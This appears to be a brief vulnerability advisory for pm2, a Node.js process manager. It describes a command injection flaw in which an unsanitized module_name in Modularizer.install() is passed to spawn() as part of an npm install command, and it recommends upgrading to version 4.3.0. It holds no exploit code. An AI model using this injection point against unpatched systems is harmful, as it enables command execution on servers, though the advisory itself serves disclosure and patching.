Upgrade pm2 to version 4.3.0 or higher.

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.
